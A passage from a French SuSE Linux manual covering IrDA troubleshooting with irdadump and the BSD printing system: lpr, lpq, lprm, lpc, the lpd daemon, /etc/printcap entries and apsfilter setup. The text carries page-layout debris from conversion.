sans câble et par infrarouge à l'aide du programme wvdial . Résolution de problèmes Dans le cas où les périphériques ne réagiraient pas à l'infrarouge, vous pouvez contrôler, en lançant la commande irdadump en tant qu'utilisateur `root', si l'autre périphérique est reconnu par l'ordinateur : terre: # irdadump Avec une imprimante Canon BJC-80 dans le ``champ de vision'' de la machine terre, il apparaît une sortie semblable à celle ci-dessous qui se répète à intervalles réguliers (voir affichage 11.3.1 page suivante). Si aucune sortie n'apparaît ou si l'autre périphérique ne répond pas, véri- fiez la configuration de l'interface. Êtes-vous sûr d'utiliser l'interface qui convient ? Quelquefois l'interface infrarouge se trouve aussi sous /dev/ ttyS2 ou /dev/ttyS3 ou bien une interruption autre que l'interruption 3 est utilisée. Vous pouvez configurer ces paramètres pour presque tous les laptops dans le Setup du BIOS. Notez aussi que vous ne pouvez accéder sans problème qu'à des périphé- riques qui supportent les protocoles Printer ou IrCOMM . Avec des pro- grammes spéciaux (irobex_palm3 , irobex_receive (voyez la description dans IR-HOWTO), vous pouvez aussi accéder à des périphériques qui utilisent * * 331 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | 21:41:38.435239 xid:cmd 5b62bed5 > ffffffff S=6 s=0 (14) * * | ||21:41:38.525167 xid:cmd 5b62bed5 > ffffffff S=6 s=1 (14) * * || | 21:41:38.615159 xid:cmd 5b62bed5 > ffffffff S=6 s=2 (14) * * | | 21:41:38.705178 xid:cmd 5b62bed5 > ffffffff S=6 s=3 (14) * * | | * * | | 21:41:38.795198 xid:cmd 5b62bed5 > ffffffff S=6 s=4 (14) * * | | 21:41:38.885163 xid:cmd 5b62bed5 > ffffffff S=6 s=5 (14) * * | | * * | | 21:41:38.965133 xid:rsp 5b62bed5 < 6cac38dc S=6 s=5 BJC-80 \ * * | | hint=8804 [ Printer IrCOMM ] (23) * * | | * * | | 21:41:38.975176 xid:cmd 5b62bed5 > ffffffff S=6 s=* erde \ * * | | hint=0500 [ PnP Computer ] (21) * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 11.3.1: IrDA : irdadump le protocole IROBEX (par exemple 3Com Palm Pilot). Les protocoles suppor- tés par chaque périphérique sont spécifiés entre crochets après les noms de périphériques lors de la sortie de irdadump . Le support pour le protocole IrLAN est en cours de développement ~ il n'est malheureusement pas encore stable actuellement mais sera sans doute dans un proche avenir disponible sous Linux. Avec une simple caméra vidéo, vous pouvez aussi contrôler si les diodes infrarouges s'allument ~ contrairement à l'oeil humain, la plupart des caméras vidéo peuvent ``voir'' la lumière infrarouge. 332 Chapitre 12 L'impression Dans le cadre de l'installation avec YaST , vous avez probablement déjà effectué votre première configuration d'imprimante sous Linux (voir para- graphe 3.6.1 page 101). Le présent chapitre vous montre l'essentiel de ce qui se passe ``dans les coulisses'' : il ne décrit pas chaque détail, mais il est suffi- samment détaillé pour que vous puissiez comprendre dans les grandes lignes le déroulement du processus d'impression. 12.1 Vue d'ensemble : Interfaces, files d'impression (spooling) Les ports parallèles La connexion d'une imprimante à un système Linux se fait en général sur port parallèle. Il existe, depuis la version 2.2.xx du noyau, un sous-système parport auquel on doit faire connaître les interfaces parallèles en chargeant des pilotes sup- plémentaires spécifiques à l'architecture du système (voir paragraphe 10.4.3 page 307 et pages suivantes). Il est donc maintenant possible d'utiliser simul- tanément plusieurs périphériques en chaîne au moyen d'un port parallèle. En outre, la numérotation des fichiers de périphériques commence maintenant, de façon standard, par /dev/lp0 ! Pour qu'il soit possible d'imprimer en utilisant le premier port parallèle, les modules parport, parport_pc et lp doivent être chargés dans le noyau standard de SuSE . Cette tâche est assumée, en général automatiquement, par kmod (angl. Kernel Module Loader) (voir paragraphe 13.2 page 361) dès qu'une requête d'impression est envoyée. Si le port parallèle n'est pas détecté, vous pouvez résoudre ce problème en spé- cifiant des paramètres du noyau. Voir aussi la page 398. Pour tester le port et l'imprimante, vous pouvez, avec une commande telle que terre: # echo hello > /dev/lp0 ou terre: # cat FICHIER_TEXTE >/dev/lp0 transmettre directement des données au port, mais seulement sous le compte `root' (+ administrateur système). Pour une utilisation normale, cette pro- cédure est parfaitement inadéquate dans un système multitâche car il faut s'attendre à ce que plusieurs processus veuillent se servir au même moment de l'imprimante, ce qui risque de provoquer un chaos épouvantable. Au lieu * * 333 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ de cela, les travaux soumis à l'imprimante seront exécutés après avoir d'abord été mis en attente dans une file d'impression (angl. queue). Les ports fonctionnent de façon standard en mode interrogation (angl. pol- ling), ce qui signifie que le CPU doit leur demander régulièrement si un transfert de données doit se faire. L'administrateur système `root' peut, lors du chargement du système parport ou à l'aide du système de fichiers /proc, les convertir au mode interruption qui donne de meilleurs résultats. Il peut également, avec le programme tunelp , procéder à d'autres paramé- trages qui permettront d'accroître la performance. Voir la page de man de tunelp (man tunelp ) ainsi que, dans les sources du noyau, les documents mentionnés au paragraphe 10.4.3 page 307 et pages suivantes. Vérifiez toute- fois auparavant le réglage des IRQ et du port sur le matériel d'interface. Ceci se fait la plupart du temps dans le BIOS ou par des cavaliers (angl. jumpers) ! Spool, files d'impression Sous Linux, tout comme sous d'autres systèmes multitâches, il est accédé aux imprimantes par un mécanisme de spool (files d'impression). Cela signifie que les travaux d'impression sont d'abord stockés dans des fichiers temporaires et exécutés les uns après les autres sous le contrôle d'un programme de com- mande (démon). Plusieurs utilisateurs peuvent ainsi soumettre simultanément des travaux d'impression sans qu'il se produise de conflits. Après avoir sou- mis un travail d'impression, l'utilisateur peut continuer à travailler sans être obligé d'attendre l'imprimante. Un file d'impression est constituée par ~ une entrée dans /etc/printcap, qui définit la file d'impression ; ~ un répertoire, situé habituellement sous /var/spool/lpd, dans lequel un fichier de données et un fichier de contrôle sont prévus pour chaque travail d'impression. Chaque file d'impression est prise en charge par une imprimante. Il est pos- sible de créer plusieurs files d'impression pour une seule et même impri- mante. SuSE Linux inclut le système de spool BSD de l'University of California at Berkeley dans le paquetage lprold. Il a été expressément conçu pour l'utilisation en réseau et requiert la configuration et la mise en oeuvre de TCP/IP. Pour la configuration, cela ne fait pas grande différence que les files d'impression soient installées et utilisées sur des machines locales ou des machines distantes. L'exécution d'un travail d'impression sous Linux se déroule en trois phases : ~ Le fichier de données est copié dans un répertoire de la file d'impression et complété par un fichier de contrôle pour devenir un travail (angl. job). ~ Le fichier de données est envoyé, conformément au fichier de contrôle, à travers un filtre qui s'en sert pour élaborer toute une série d'instructions pour l'imprimante concernée. Cela signifie que le programme filtre génère un flot de données dans un format géré par l'imprimante, par exemple PostScript, PCL, Esc/P2 etc. Cette conversion peut comporter plus d'une seule phase et sous SuSE Linux elle est prise en charge par apsfilter (pa- quetage aps). Voir plus loin paragraphe 12.3 page 339 et pages suivantes. 334 _________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________* *______________________ ~ Le fichier spécifique à l'imprimante sera sorti en fonction de son ordre d'entrée dans la file d'impression. 12.2 Files d'impression : fonctionnement et configuration Voyons maintenant par quelles étapes doit passer une requête d'impression pour parvenir du fichier de l'utilisateur à l'imprimante et quels sont les pro- grammes qui s'en occupent successivement. Vous trouverez dans la page de man de lpr (man 1 lpr ), la page de man de lpd (man 8 lpd ) et la page de man de printcap (man 5 printcap ) bon nombre de détails que nous ne pouvons pas évoquer ici pour ne pas trop allonger ce chapitre. La plupart du temps (ainsi que cela a été fait dans les pages de man mention- nées ci-dessus), on désigne pour faciliter les choses et parce que cela semble logique à l'utilisateur, une file d'impression par ``nom d'imprimante'' ou plus simplement encore par ``imprimante''. C'est ce que nous allons faire dans la suite de ce chapitre bien que cela ne soit pas tout à fait exact sur le plan technique. lpr : À la queue s'il vous plaît ! lpr est ``l'interface utilisateur'' ordinaire qui communique avec les files d'im- pression. En général, un travail d'impression est soumis par une simple com- mande telle que tux@terre: > lpr [-Pimprimante] fichier_texte Si vous avez omis l'option -P (``Printer'' pour le nom de la file d'impression, c'est-à-dire le nom d'imprimante), la valeur par défaut sera celle contenue dans la variable d'environnement PRINTER. Si celle-ci est vide, le nom stan- dard traditionnel d'imprimante lp sera utilisé. Ceci s'applique également à lpq et lprm (voir plus bas). _______________________________________________________________________________________________________________________ |||||||| Entre l'option -P et le nom d'imprimante imprimante , il ne doit y avoir || | |||||||| || | |||||||| aucun espace. || | ||||||||_______________________________________________________________________________________________________________||_ lpr vérifie, au moyen du fichier /etc/printcap, si la file d'impression spé- cifiée existe bien. Si c'est le cas, il crée pour le travail d'impression un fichier de contrôle (fichier cf) ainsi qu'une copie du fichier de données et les trans- met au gestionnaire d'impression lpd qui inclut le travail dans le répertoire de spool de la file d'impression. Si vous avez de gros travaux d'impression à faire, il peut être utile, à la place d'une copie de votre fichier de données, de faire créer dans le répertoire de spool un lien symbolique pointant sur celui-ci. L'option lpr -s se charge de cette opération. Vous devrez naturellement renoncer à tout accès en écriture à ce fichier tant que le travail d'impression ne sera pas encore terminé ! lpr vous permet, à l'aide d'une option complémentaire, de sélectionner ma- nuellement un filtre déterminé (pilote d'imprimante) pour votre travail (ceci devrait toutefois être rarement nécessaire). Pour plus de détails, reportez-vous à la page de man concernant lpr et au paragraphe 12.3 page 339 sur les filtres. * * 335 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ Outils complémentaires et outils de contrôle pour l'utilisateur : Vue d'en- semble Pour gérer la file d'impression, il existe le joli programme graphique du pa- quetage xlpq, série xap. Notez toutefois que les outils de ligne de commande mentionnés par la suite peuvent faire encore plus grâce à des options supplé- mentaires. ________________________________________________________________________________________________________* *________|| | Les manipulations effectuées dans les files d'impression requièrent les * * |||| | * * ||| | droits `root'. Cela signifie que vous devez travailler en tant que `root' * * ||| | si vous voulez, par exemple, effacer des requêtes d'impression qui ne sont * * ||| | * * ||| | pas les vôtres. * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ lpq montre à l'utilisateur ses travaux dans une file d'impression (option -P ), par exemple l'entrée tux@terre: > lpq -Pimprimante donne le résultat présenté dans l'affichage 12.2.1. ________________________________________________________________________________________________________* *________|| | imprimanteRaisnkreadyOwandneprintingr Job Files Total Size * * | | * * | | active tux 676 Hallo.txt 259420 bytes * * | | 1st tux 677 lettre.dvi 11578 bytes * * | | 2nd tux 683 image.gif 37464 bytes * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 12.2.1: Exemple de sortie de la commande lpq . ~ lprm annule les travaux de l'utilisateur dans la file d'impression, par exemple, l'entrée tux@terre: > lprm -Pimprimante 676 donne le résultat présenté dans l'affichage 12.2.2. ________________________________________________________________________________________________________* *________|| | dfA676Aa05005 dequeued * * | | cfA676Aa05005 dequeued * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 12.2.2: Exemple de sortie de la commande lprm . Si aucun numéro de travail n'a été spécifié, c'est le travail actuellement actif, s'il appartient à l'utilisateur, qui est supprimé de la file d'impression. ~ lpc (chemin /usr/sbin/lpc) contrôle les files d'impression. Pour le nom d'imprimante, on peut aussi spécifier all (= toutes). Les options les plus importantes sont : ~ status imprimante Donne un rapport d'état. Si la mention imprimante est omise, cela produit le même résultat que all , c'est- à-dire rapport d'état pour toutes les files d'impression. ~ disable imprimante Empêche l'entrée de tout nouveau travail dans la file d'impression. ~ enable imprimante Autorise de nouveaux travaux à intégrer la file d'impression. 336 _________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________* *______________________ ~ stop imprimante Arrête l'impression des travaux qui se trouvent dans la file d'impression (le travail en cours d'impression sera encore terminé). ~ start imprimante Reprend l'impression des travaux qui se trouvent dans la file d'impression. ~ down imprimante Donne le même résultat que disable plus stop . ~ up imprimante Donne le même résultat que enable plus start . ~ abort imprimante Donne le même résultat que down avec cette différence qu'un travail en cours d'impression est immédiatement ar- rêté. Les travaux restent cependant dans la file d'impression et peuvent continuer à être exécutés après un redémarrage de la file d'impression (up ). Vous pouvez insérer ces commandes dans la ligne de commande de lpc (par exemple lpc status ). Ou vous pouvez appeler lpc sans paramètre : ceci provoquera le démarrage d'une boîte de dialogue avec sa propre invite lpc qui requiert l'entrée de commandes lpc . Avec quit ou exit vous terminerez le dialogue. _______________________________________________________________________________________________________________________|| |||||||| Les requêtes d'impression demeurent dans la file même si au cours d'une ||| | |||||||| procédure d'impression vous arrêtez délibérément votre machine pour ré- || | |||||||| || | |||||||| amorcer ensuite Linux ~ pour supprimer de la file d'impression une requête || | |||||||| éventuellement erronée, vous devez utiliser les commandes qui ont été pré- || | |||||||| || | |||||||| sentées plus haut. || | ||||||||_______________________________________________________________________________________________________________||_ lpd : le gestionnaire d'impression en arrière-plan Le lpd (angl. Line Printer Daemon) est activé lors du démarrage du système par le script /sbin/init.d/lpd si la variable START_LPD=yes a été posi- tionnée dans le fichier /etc/rc.config. Il tourne comme démon en tâche de fond. lpd reconnaît, à l'aide du fichier /etc/printcap, quelles files d'impression (imprimantes) sont définies. Sa tâche consiste à organiser l'exécution des travaux en attente. ~ il gère les files d'impression locales : il envoie le fichier de données de chaque travail à travers le filtre approprié (déterminé par l'entrée de la file d'impression dans /etc/printcap et par des spécifications explicites dans le fichier de contrôle du travail d'impression) et le passe ensuite à l'interface de l'imprimante ; ~ il tient compte de l'ordre de classement des travaux dans la file d'impres- sion ; ~ il supervise l'état des files d'impression et des imprimantes (fichier status dans les répertoires de spool locaux) et fournit à la demande des informations à ce sujet ; ~ il transmet les travaux des files d'impression de machines distantes au lpd distant ; * * 337 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ ~ il reçoit les travaux d'impression de machines distantes pour les files d'impression locales ou il les refuse si l'autorisation n'est pas suffisante. Autorisation : Seules les requêtes provenant d'hôtes distants (angl. remote) listés dans le fichier /etc/hosts.lpd du ``serveur d'impression'' sont prises en compte. Une entrée de l'hôte dans /etc/hosts.equiv est aussi suffi- sante, mais cela influe dans une très large mesure sur les possibilités d'accès de cet hôte à la machine locale et devrait si possible être évité pour des raisons de sécurité. Voir le paragraphe 18.2.2 page 479 sur la sécurité. Des ajouts dans la définition de la file d'impression peuvent restreindre le droit d'ac- cès aux seuls utilisateurs d'un groupe précis ou aux utilisateurs possédant un compte sur la machine locale. Filtres : les bêtes de somme Les programmes filtres ont pour tâche de convertir le fichier de données d'un travail en un format géré par l'imprimante (pour la configuration, voir para- graphe 12.3 page ci-contre). Ce sont eux qui se taillent la part du lion dans le traitement proprement dit du travail d'impression. Ils correspondent ainsi, de par leur fonction, aux pilotes d'imprimantes sous d'autres systèmes tels que Windows ou OS/2. Outre cela, ils doivent, à la demande, tenir les comptes des travaux d'impression (volume, consommation de matériel : : :). /etc/printcap : Configuration des files d'impression Dans le fichier /etc/printcap, chaque file d'impression disponible est dé- finie par une entrée. Le caractère de saut de ligne termine l'entrée : ceci peut toutefois - pour les entrées longues - être invalidé par une barre oblique inver- sée `\' placée immédiatement avant. L'entrée commence par un ou plusieurs noms pour la file d'impression (barre verticale de séparation `|') suivis d'une liste de spécifications de la forme1 abréviation = (caractères sé- parateurs de listes ` :' ). Les lignes vides et celles qui commencent par le caractère # sont ignorées (commentaires). Le fichier préinstallé /etc/printcap contient déjà un certain nombre d'en- trées exemples (commentées). Une entrée toute simple sans aucun filtre res- semble à celle du fichier 12.2.1. ________________________________________________________________________________________________________* *________ | ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240 * * | | * * | |_______________________________________________________________________________________________________* *________ | fichier 12.2.1: /etc/printcap : simple file d'impression locale Il peut être accédé à cette file d'impression sous le nom ascii et deskjet. Votre répertoire de spool est /var/spool/lpd/ascii, votre périphérique d'impression /dev/lp0. Elle ne donne pas de pages d'en-tête au début des travaux (sh signifie ``suppress header'') et accepte des travaux d'impression pouvant atteindre 10240 Ko. Vous trouverez un exemple de file d'impression sur une machine distante dans le fichier 12.2.2 page ci-contre. Pour la confi- _____________________________________________1 Toutes les abréviations ainsi que leur signification sont énumérées dans la page de man de printcap (man printcap ). 338 ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________* *______________________ guration, voir paragraphe 12.4 page 346 et pages suivantes.2 _______________________________________________________________________________________________________________________|| |||||||| lp1|HP-4P:\ | |||||||| :rm=soleil.cosmos.univers:\ | |||||||| | |||||||| :rp=HP:\ | |||||||| :sd=/var/spool/lpd/lp1:\ | |||||||| :mx#0:sh | ||||||||_______________________________________________________________________________________________________________ | fichier 12.2.2: /etc/printcap : simple file d'impression distante La file d'impression a les noms lp1 et HP-4P . Au lieu de spécifier le péri- phérique (lp= ) on fait ici référence à l'hôte soleil.cosmos.univers et à sa file d'impression. Les spécifications concernant les filtres ne sont pas né- cessaires - ceci incombe à la file d'impression sur soleil.cosmos.univers. En conséquence, il n'a été défini ici que le répertoire de spool /var/spool/ lpd/lp1 et la restriction concernant la taille des travaux (mx#0 signifie : au- cune restriction). Si vous utilisez apsfilter , les nouvelles files d'impression nécessaires seront enregistrées automatiquement, lors de la configuration, dans le fichier /etc/ printcap. Plus de détails au paragraphe 12.3 page 341. 12.3 Filtres d'impression Que sont les filtres d'impression et comment fonctionnent-ils ? Comme nous l'avons dit précédemment, la tâche d'un filtre d'impression consiste à convertir le fichier de données d'un travail en un format géré par l'imprimante utilisée. Les seules informations complémentaires qu'un filtre reçoit, lors de l'appel par lpd , concernent la taille du papier, le nom de login et l'hôte de l'utilisateur qui soumet le travail ainsi que le nom du fichier de comptabilité. En tant que véritable filtre UNIX, il reçoit le fichier de données par l'entrée standard (stdin) et doit fournir le résultat imprimable par la sortie standard (stdout). Pour la conversion, le filtre doit naturellement savoir quel est le format de fichier des données (ASCII-Text, DVI, PostScript etc.). Il existe plusieurs moyens d'y parvenir. ~ Le filtre est assez ``intelligent'' pour reconnaître, à l'aide des données, de quel format il s'agit. Il est composé d'un ``préfiltre'' pour la recon- naissance du format et de plusieurs autres programmes qui réalisent la conversion proprement dite. Ceci constitue ~ grosso modo ~ la tâche du programme apsfilter qui, sous SuSE Linux, est prévu de façon standard pour l'installation. ~ Différents filtres pour différents formats de fichiers. Les filtres sont as- signés à la file d'impression par une entrée dans /etc/printcap. C'est 2 ____________________________________________________ Les barres obliques inversées `\' qui précédent immédiatement la coupure de ligne ``camou- flent'' cette dernière ~ exactement comme lors de l'entrée des commandes de shell ~ de telle sorte que l'entrée est considérée ne comporter qu'une seule ligne. * * 339 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ l'utilisateur qui fait le choix par une option complémentaire lors de l'appel de lpr . Huit possibilités sont prévues : __Entrée_printcap__|____________if=_____cf=_______df=______gf=_______nf=______rf=______tf=_____vf=* *______ Option lpr | -c -d -g -n -f -t -v Ces options sont traditionnellement3 assignées à des formats tout à fait particuliers de fichiers (ce n'est que l'assignation de l'option lpr pour l'entrée du filtre qui est obligatoire et non la tradition4 ). Par exemple, if= désigne le filtre standard et df= le filtre pour fichiers DVI (sortie de TEX etALTEX). Vous pourriez ainsi, avec l'entrée que vous voyez dans le fichier 12.3.1, fournir à la HP LaserJet 4 un propre filtre DVI si le paque- tage te_dvilj est installé (il est cependant recommandable aujourd'hui, même avec cette imprimante, de donner la préférence au ``pilote'' ljet4 ). ________________________________________________________________________________________________________* *________ | df="/usr/bin/dvilj4 -e- -" * * | |_______________________________________________________________________________________________________* *________ | fichier 12.3.1: Entrée d'un filtre DVI dans /etc/printcap apsfilter Avec apsfilter, le paquetage aps met à votre disposition un filtre très com- mode. apsfilter tire profit des circonstances suivantes : ~ Le format standard utilisé dans le monde Unix pour données imprimables est PostScript. ~ Il existe toute une série d'outils qui convertissent les autres formats de fichiers texte et fichiers image, par exemple dvips pour les fichiers DVI, a2ps pour les fichiers ASCII, le paquetage netpbm, série gra pour les données graphiques, etc. ~ Il existe également le puissant programme Ghostscript qui est capable de convertir des fichiers PostScript vers un grand nombre de formats gérés par les imprimantes non PostScript (en quelque sorte une vaste collection de pilotes d'imprimantes). apsfilter regroupe, dans une même gestion, tous ces programmes avec les outils nécessaires pour la reconnaissance du format (file ) et la décompression. Il dirige les données entrées, en tenant compte du format qui a été reconnu, au travers de chacun des outils nécessaires jusqu'à la sortie sur le périphérique d'impression. Dans /var/lib/apsfilter/apsfilter qui est le script de commandes (shell-script) central, il est fait mention des formats de fichiers et des types de compression supportés : ~ ASCII, DVI, PS, Data (PCL, : : :), GIF, TIFF, PBM, Sun Raster, X11- Bitmap ~ Types de compression : compress , gzip , freeze _____________________________________________3 voir la page de man concernant lpr. 4 Ainsi, par exemple, l'entrée d'un ``filtre zéro'' cf=/bin/cat est tout à fait admissible et elle sera utilisée si vous lancez la commande lpr -c 340 ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________* *______________________ Les files d'impression d'apsfilter Le programme apsfilter propose pour une imprimante locale les files d'im- pression suivantes (noms d'imprimantes) : lp File d'impression standard pour tous les formats de fichiers. lp-mono Seulement pour imprimantes couleur. Imprime en noir et blanc, à part cela, identique à lp : pour tous les formats de fichiers. ascii Pour l'impression de fichiers comme fichiers texte ASCII, même si le système de spool suppose qu'il s'agit d'un autre format5 . raw Pour l'impression de fichiers qui sont déjà d'un format géré par l'impri- mante : il n'y a alors (pratiquement) aucune conversion. Vous pouvez aussi configurer plusieurs autres imprimantes locales. Les noms des files d'impression comprennent, pour faire la distinction, le nom du pilote d'imprimante Ghotscript correspondant, par exemple djet500 , djet500-ascii , djet500-raw etc. Fichiers ASCII : Dans le fichier /etc/apsfilterrc la configuration par défaut pour le filtrage est la suivante : ~ Conversion de fichiers ASCII vers PostScript avec a2ps ~ Format a2ps : 2 pages ASCII l'une à côté de l'autre en format horizontal sur une page imprimée. Vous pouvez modifier le format en attribuant à la variable FEATURE une autre des valeurs qui sont proposées dans le commentaire. Si vous voulez absolu- ment éviter la conversion vers PostScript et imprimer dans le mode ASCII de l'imprimante, supprimez le signe de commentaire # au début de la ligne de commande USE_RECODE_NOT_A2PS=yes et assurez-vous que le paquetage recode, série ap est installé. apsfilter : configuration apsfilter peut être configuré avec YaST ou avec son propre script SETUP (lprsetup ) piloté par menu. _______________________________________________________________________________________________________________________|| |||||||| La configuration ne fonctionne vraiment bien que si, dans le fichier ||| | |||||||| /etc/printcap, les identifiants commentés au début et à la fin des en- || | |||||||| || | |||||||| trées apsfilter ne sont pas modifiés (voir fichier 12.3.2 page suivante) ! || | ||||||||_______________________________________________________________________________________________________________||_ Configuration avec YaST C'est la méthode normale pour la mise en place d'une imprimante locale. S'il existe déjà une configuration apsfilter , YaST demande au début si la nouvelle configuration doit remplacer l'ancienne ou si elle doit y être ajoutée. Le déroulement de la procédure a déjà été décrit dans le paragraphe 3.6.1 page 101 relatif à YaST . Si vous faites installer votre nouvelle configuration, il se passera alors ce qui suit (que vous ayez défini la configuration avec YaST ou avec SETUP (lprsetup )) : 5 ____________________________________________________ En présence, par exemple, de caractères accentués * * 341 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ ~ Entrée des nouvelles files d'impression dans /etc/printcap (voir page précédente). ~ Création d'un répertoire de spool sous /var/spool/lpd/. ~ Création des filtres d'impression appropriés sous /var/lib/apsfilter/ bin/(il s'agit ici de liens symboliques sur le fichier /var/lib/ apsfilter/apsfilter). ~ Création du fichier global de configuration /etc/apsfilterrc (s'il n'existe pas déjà) et d'un fichier de configuration spécifique à l'impri- mante /etc/apsfilterrc. . Ici, est le nom de l'imprimante Ghostscript, tel que bjc800 dans l'exemple qui va suivre. Un exemple pour les entrées de nouvelles files d'impression vous est présenté dans|le fichier 12.3.2, pour l'imprimante Canon BubbleJet800. * * | ________________________________________________________________________________________________________* *________|||| | ### BEGIN apsfilter: ### bjc800 a4 mono 360 ### * * | | # Warning: Configured for apsfilter, do not edit the labels! * * | | # apsfilter setup Thu Sep 18 11:40:40 MEST 1997 * * | | * * | | # * * | | ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\ * * | | * * | | :lp=/dev/lp0:\ * * | | :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\ * * | | * * | | :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\ * * | | :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\ * * | | * * | | :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\ * * | | :la@:mx#0:\ * * | | * * | | :sh:sf: * * | | # * * | | * * | | lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\ * * | | # [ ... abrégé ... ] * * | | # * * | | * * | | raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\ * * | | # [ ... abrégé ... ] * * | | * * | | # * * | | # * * | | * * | | ### END apsfilter: ### bjc800 a4 mono 360 ### * * | |_______________________________________________________________________________________________________* *________ | fichier 12.3.2: apsfilter Files d'impression apsfilter dans /etc/printcap Les trois entrées sont structurées de la même manière, c'est pourquoi nous avons un peu abrégé. Vous devez déterminer le périphérique (lp= ), le réper- toire de spool (sd= ), le fichier de trace (log, lf= ), le fichier de comptabilité (af= ) et les filtres standard (if= ). Les pages d'en-tête au début des travaux (sh ) et les sauts de page à la fin (angl. formfeed) (sf ) sont supprimés. Configuration avec SETUP (lprsetup ) Le paquetage aps contient le programme de configuration SETUP (/var/ lib/apsfilter/SETUP), qu'il est facile d'invoquer avec lprsetup . Il offre les services suivants : 342 ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________* *______________________ ~ Listage de toutes les configurations d'imprimantes apsfilter ~ Ajout et suppression de configurations d'imprimantes apsfilter . Pour l'ajout d'imprimantes locales, lprsetup fait (presque) la même chose que YaST . lprsetup peut aussi créer et supprimer des files d'impression qui se réfèrent à des hôtes distants (angl. remote) (``files d'impression distantes'', voir fichier 12.2.2 page 339) et mettre intelligemment en place un préfiltrage pour les imprimantes réseau. lprsetup est piloté par menu et ~ après une courte période d'adaptation ~ il est facile à utiliser. 1. Invoquez lprsetup : terre: # lprsetup Si, sous le système X Window, vous avez quelques problèmes de lec- ture dans un xterm (mots-clés : texte jaune sur fond gris clair), lancez lprsetup sur la console texte. Il apparaît un écran d'accueil qui décrit la procédure, déjà mentionnée,_de mise en place de nouvelles imprimantes apsfilter . Avec |E_________|ntréevous arrivez au menu principal : EXIT Exit apsfilter setup LISTING List all apsfilter entries ENTRY Add/Overwrite/Delete an apsfilter entry DELETE Fast delete an apsfilter entry Le choix entre les deux_champs de réponse_`OK'_et `Cancel' se fait dans tous les menus par |____Ta|b. Avec |_#|et |_"|, vous vous déplacez parmi les listes de sélection. `EXIT' ~ Quitter lprsetup . `LISTING' ~ Établir une liste de toutes les files d'impression déjà exis- tantes. `ENTRY' ~ Pour ajouter une nouvelle imprimante, vous utiliserez l'op- tion `ENTRY'. Cela vous conduira à un autre menu `Choose your printer definition' dans lequel vous définirez votre imprimante. `DELETE' ~ Pour supprimer une imprimante apsfilter, vous sélectionne- rez `DELETE' et vous obtiendrez ainsi une liste de toutes les impri- mantes apsfilter parmi lesquelles vous pourrez faire votre choix. 2. Sélectionnez par conséquent `ENTRY'. Pour une imprimante locale, on vous demandera de fournir les mêmes détails que pour la configura- tion avec YaST . Il vous sera d'abord demandé quel est le périphérique (`DEVICE') . Pour une imprimante locale sur port parallèle, répondez /dev/lp0 si vous utilisez le noyau 2.2.xx. 3. Vous voyez maintenant ce qui suit : * * 343 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ RETURN Back to previous menu DEVICE Change printer interface PRINTER Which printer driver PAPER Which paper type COLOR Monochrome/colorfull SPECIAL Settings for your printer RESET Reset the printer definition ADD Add the printer definition OVERWRITE Overwrite the printer definition DELETE Delete the printer definition `DEVICE' ~ Nous l'avions déjà sélectionné. `PRINTER' ~ Occupons-nous maintenant de `PRINTER' (imprimante). C'est ici que le nom du périphérique Ghostscript (``pilote'') adéquat va être recherché. Ceci se déroule en deux phases : (a) Choisissez maintenant le type de votre imprimante : ~ `PostScript' ~ `HEWLETT-PACKARD' (HP Deskjets) ~ `OTHER' (autres imprimantes ne gérant pas PostScript) ~ `FREEDEF' (définition libre). (b) Pour les véritables imprimantes PostScript, vous devrez encore spé- cifier la résolution dans une boîte de dialogue. Pour toutes les autres imprimantes, vous obtiendrez, sous l'option du menu `COMMIT', la liste des pilotes Ghostscript qu'il vous est possible de choisir. Consultez à ce sujet le paragraphe 12.6 page 349. Après avoir sé- lectionné un pilote Ghostscript, vous verrez apparaître une boîte de dialogue dans laquelle vous spécifierez la résolution de votre impri- mante. ~ Vous reviendrez ensuite au menu supérieur avec `RETURN'. `PAPER' ~ Format du papier. `COLOR' ~ Couleur ou monochrome `SPECIAL' ~ En général, ces spécifications ne sont pas indispensables. 4. Vous retournerez au menu `Choose your printer definition' et si la définition devait être erronée, vous pourrez sélectionner de nouveau les différents sous-menus et corriger cette erreur. 5. Important : Avec `ADD', la nouvelle imprimante sera enfin configurée. Recherchez dans le fichier /etc/printcap le nom de vos nouvelles files d'impression, par exemple avec less 6 . . Chaque file d'impression apsfilter a plusieurs noms : des noms détaillés qui permettent de reconnaître les don- nées de votre définition et des noms courts pour plus de commodité (voir fichier 12.3.2 page 342). Notez aussi que lp , lp-mono , ascii , raw sont les files d'impression de la première imprimante locale, _____________________________________________6 Il est décrit comme utiliser less au paragraphe 19.7.3 page 489. 344 ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________* *______________________ Les fichiers de configuration apsfilterrc Les fichiers /etc/apsfilterrc* vous donnent la possibilité de régler de façon encore plus précise certains détails du script de commande apsfilter à l'aide de quelques variables de shell. Lors de l'installation, il est mis en place, de façon standard : ~ un fichier global /etc/apsfilterrc , ~ des fichiers /etc/apsfilterrc. spécifiques à l'impri- mante pour les files d'impression avec le pilote d'imprimante Ghostscript (par exemple pour l'imprimante Canon BubbleJet800 : 